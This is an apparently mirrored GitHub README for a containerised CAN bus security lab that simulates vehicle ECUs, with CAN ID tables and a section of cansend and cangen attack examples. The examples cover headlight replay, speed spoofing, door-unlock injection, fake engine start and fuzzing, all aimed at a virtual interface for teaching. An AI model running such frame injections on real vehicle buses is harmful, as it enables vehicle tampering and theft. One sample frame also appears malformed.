alvarodcastro/CANSim-Lab

GitHub: alvarodcastro/CANSim-Lab

容器化的 CAN 总线安全实验环境,通过模拟多 ECU 流量和实时 Web 仪表盘,帮助研究者在隔离环境中学习、演示和测试车载网络攻击与防御技术。

Stars: 0 | Forks: 0

# CANSim 实验室 🚗 一个完全容器化的 CAN 总线研究环境,包含一个逼真的 ECU 模拟器 和一个实时可视化车辆仪表盘。 ## 核心亮点 - 基于 SocketCAN 的 ECU 模拟器,具备多个虚拟 ECU 和逼真信号 - 带有 WebSocket 实时更新和控制操作的 Web 仪表盘 - 开箱即用的 CAN ID 参考和控制帧映射表 - Docker 化服务,支持快速启动和可重复演示 ## 系统架构 ``` ┌─────────────────────────────────────────────────────────────────┐ │ Linux HOST KERNEL │ │ ┌──────────┐ vcan0 (virtual CAN interface) │ │ │ socketcan│◀══════════════════════════════════════════╗ │ │ └──────────┘ ║ │ └─────────────────────────────────────────────────────────║───────┘ ║ ┌────────────────────────────┐ ┌────────────────║───────────────────┐ │ ecu-simulator │ │ car-dashboard ║ │ │ (Python / python-can) │ │ (Flask + WS) ║ │ │ │ │ ║ │ │ ECM 0x0C9 RPM+Speed │ │ CAN RX loop ───╝ │ │ ECM 0x0D0 Throttle │ │ Decoder │ │ ECM 0x0D1 Temp │══════│ WebSocket ──► Browser Dashboard │ │ ABS 0x0B0 WheelSpeeds │ │ │ │ BCM 0x3B0 Doors │ │ REST API ◄── Dashboard actions │ │ BCM 0x3B1 Lights │ │ CAN TX ──► vcan0 control frames │ │ TCU 0x1A1 Gear │ │ │ │ TPMS 0x2B0-3 Pressures │ │ http://localhost:5000 │ │ ... │ │ │ │ Listens: 0x7F0-0x7F8 │ └────────────────────────────────────┘ └────────────────────────────┘ ``` ## 前置条件 - 支持 SocketCAN 的 Linux 主机 - Docker Engine - 主机上安装 `can-utils`,用于监控流量和重放 ## 快速开始 ### 1. 主机设置 (一次性) ``` # 在主机上安装 can-utils(用于监控) sudo apt install can-utils # 创建 vcan0 接口 sudo bash scripts/setup-vcan.sh ``` ### 2. 构建并运行 ``` docker compose up --build ``` 如果您使用的是旧版 Compose v1 二进制文件,请改用 `docker-compose`。 ### 3. 打开仪表盘 ``` http://localhost:5000 ``` ### 4. 监控原始流量 ``` # 主机上的实时 CAN dump candump vcan0 # 按 ID 着色 candump -c vcan0 # 记录到文件 candump -l vcan0 ``` ## CAN ID 参考 | CAN ID | ECU | 信号 | 编码 | |--------|------|--------------------|-----------------------------------| | 0x0C9 | ECM | RPM + Speed | Bytes 0-1: RPM×4, Byte 2: km/h | | 0x0D0 | ECM | Throttle + Load | Byte 0: thr×2.55, Byte 1: load | | 0x0D1 | ECM | Coolant + Intake | Byte 0: temp+40, Byte 1: temp+40 | | 0x0B0 | ABS | Wheel speeds | 4× (hi,lo) pairs, ×100 km/h | | 0x1A1 | TCU | Gear + Mode | Byte 0: gear#, Byte 1: P/R/N/D/S | | 0x3B0 | BCM | Doors/Windows | Byte 0: bitmask (see below) | | 0x3B1 | BCM | Lights | Byte 0: bitmask (see below) | | 0x3A1 | IC | Fuel gauge | Byte 0: fuel%×2.55 | | 0x0F0 | SRS | Airbag+Seatbelts | Byte 0: bits 0,1=belts, 7=OK | | 0x2B0 | TPMS | Front-left tire | Bytes 0-1: kPa×100, Byte 2: temp | | 0x2B1 | TPMS | Front-right tire | same | | 0x2B2 | TPMS | Rear-left tire | same | | 0x2B3 | TPMS | Rear-right tire | same | | 0x3C0 | HVAC | Fan/Temp/AC | Byte 0: fan, 1: temp, 2: AC flag | | 0x100 | GW | Heartbeat | Byte 0: 0xAA, Byte 1: counter | ### 车门位掩码 (0x3B0 Byte 0) ``` bit 0 = driver door open bit 1 = passenger door open bit 2 = rear-left door open bit 3 = rear-right door open bit 4 = hood open bit 5 = trunk open ``` ### 车灯位掩码 (0x3B1 Byte 0) ``` bit 0 = headlights bit 1 = taillights bit 2 = turn left bit 3 = turn right bit 4 = front fog bit 5 = rear fog bit 6 = hazard ``` ## 控制帧 (仪表盘 → ECU 模拟器) | CAN ID | 功能 | 数据 | |--------|---------------|-----------------------------------| | 0x7F0 | Engine START | `01 00 00 00 00 00 00 00` | | 0x7F1 | Engine STOP | `00 00 00 00 00 00 00 00` | | 0x7F2 | Throttle | `[pct] 00 00 00 00 00 00 00` | | 0x7F3 | Door | `[idx] [0=close/1=open] 00...` | | 0x7F4 | Lights | `[flags] 00 00 00 00 00 00 00` | | 0x7F5 | Gear mode | `[0=P,1=R,2=N,3=D,4=S] 00...` | | 0x7F6 | HVAC | `[fan] [temp_raw] [ac] 00...` | | 0x7F7 | Central lock | `[0=unlock/1=lock] 00...` | | 0x7F8 | Seatbelts | `[driver] [pass] 00 00...` | ## Fuzzing 和攻击示例 ### 重放攻击 — 强制开启前照灯 ``` while true; do cansend vcan0 3B1#01000000000000; sleep 0.1; done ``` ### 在怠速下伪造车速至 200 km/h ``` # RPM=800 但 speed byte=200 cansend vcan0 0C9#0C800C800000000 ``` ### 通过 CAN 注入解锁车门 ``` cansend vcan0 7F7#00000000000000 ``` ### 触发伪造的引擎启动 ``` cansend vcan0 7F0#01000000000000 ``` ### 录制并重放会话 ``` # 录制 candump -l vcan0 # creates candump-TIMESTAMP.log # 重放 canplayer -I candump-*.log ``` ### 使用 can-utils 进行 Fuzzing ``` # 对特定 ID 进行随机 fuzzing cangen vcan0 -g 100 -I 3B0 -L 8 ``` ## 文件结构 ``` CANSim-Lab/ ├── docker-compose.yml ├── scripts/ │ └── setup-vcan.sh ← Run first on host ├── ecu-simulator/ │ ├── Dockerfile │ ├── ecu_definitions.py ← CAN ID map + encode/decode functions │ └── ecu_simulator.py ← Multi-ECU traffic generator + vehicle physics └── car-dashboard/ ├── Dockerfile ├── app.py ← Flask/SocketIO backend + CAN decoder └── templates/ └── dashboard.html ← Visual car interface ``` ## 扩展实验室 - **添加新 ECU**:在 `ecu_definitions.py` 中定义 ID,在 `ecu_simulator.py` 中添加 TX 线程,在 `app.py` 中解码,在 `dashboard.html` 中显示 - **添加 OBD-II 支持**:在模拟器中响应 `0x7DF` PID 请求 - **CAN-FD**:将 `python-can` 的总线类型更改为 `socketcan` 并设置 `fd=True` - **硬件 CAN**:将 `vcan0` 替换为 `can0`(真实的 USB-CAN 适配器,例如 Kvaser, PCAN, CANable) - **IDS 测试**:录制基线流量,然后注入异常并检测偏差 ## 安全与道德声明 本项目旨在用于隔离的虚拟网络上的研究与教育。 未经明确许可,请勿在真实车辆或网络上使用这些技术。
标签:CAN ID, CAN帧, CAN总线, CAN模拟器, Docker, ECU仿真, ECU模拟, Flask, NIDS, Python, python-can, SocketCAN, vcan, WebSocket, 依赖分析, 信号仿真, 安全培训, 安全防御评估, 实时仪表盘, 容器化, 密码管理, 插件系统, 攻防演练靶场, 无后门, 汽车信息安全, 汽车安全, 汽车黑客, 物联网安全, 网络仿真, 虚拟CAN, 虚拟环境, 请求拦截, 车联网安全, 车载网络, 车载网络安全, 逆向工具, 黑客模拟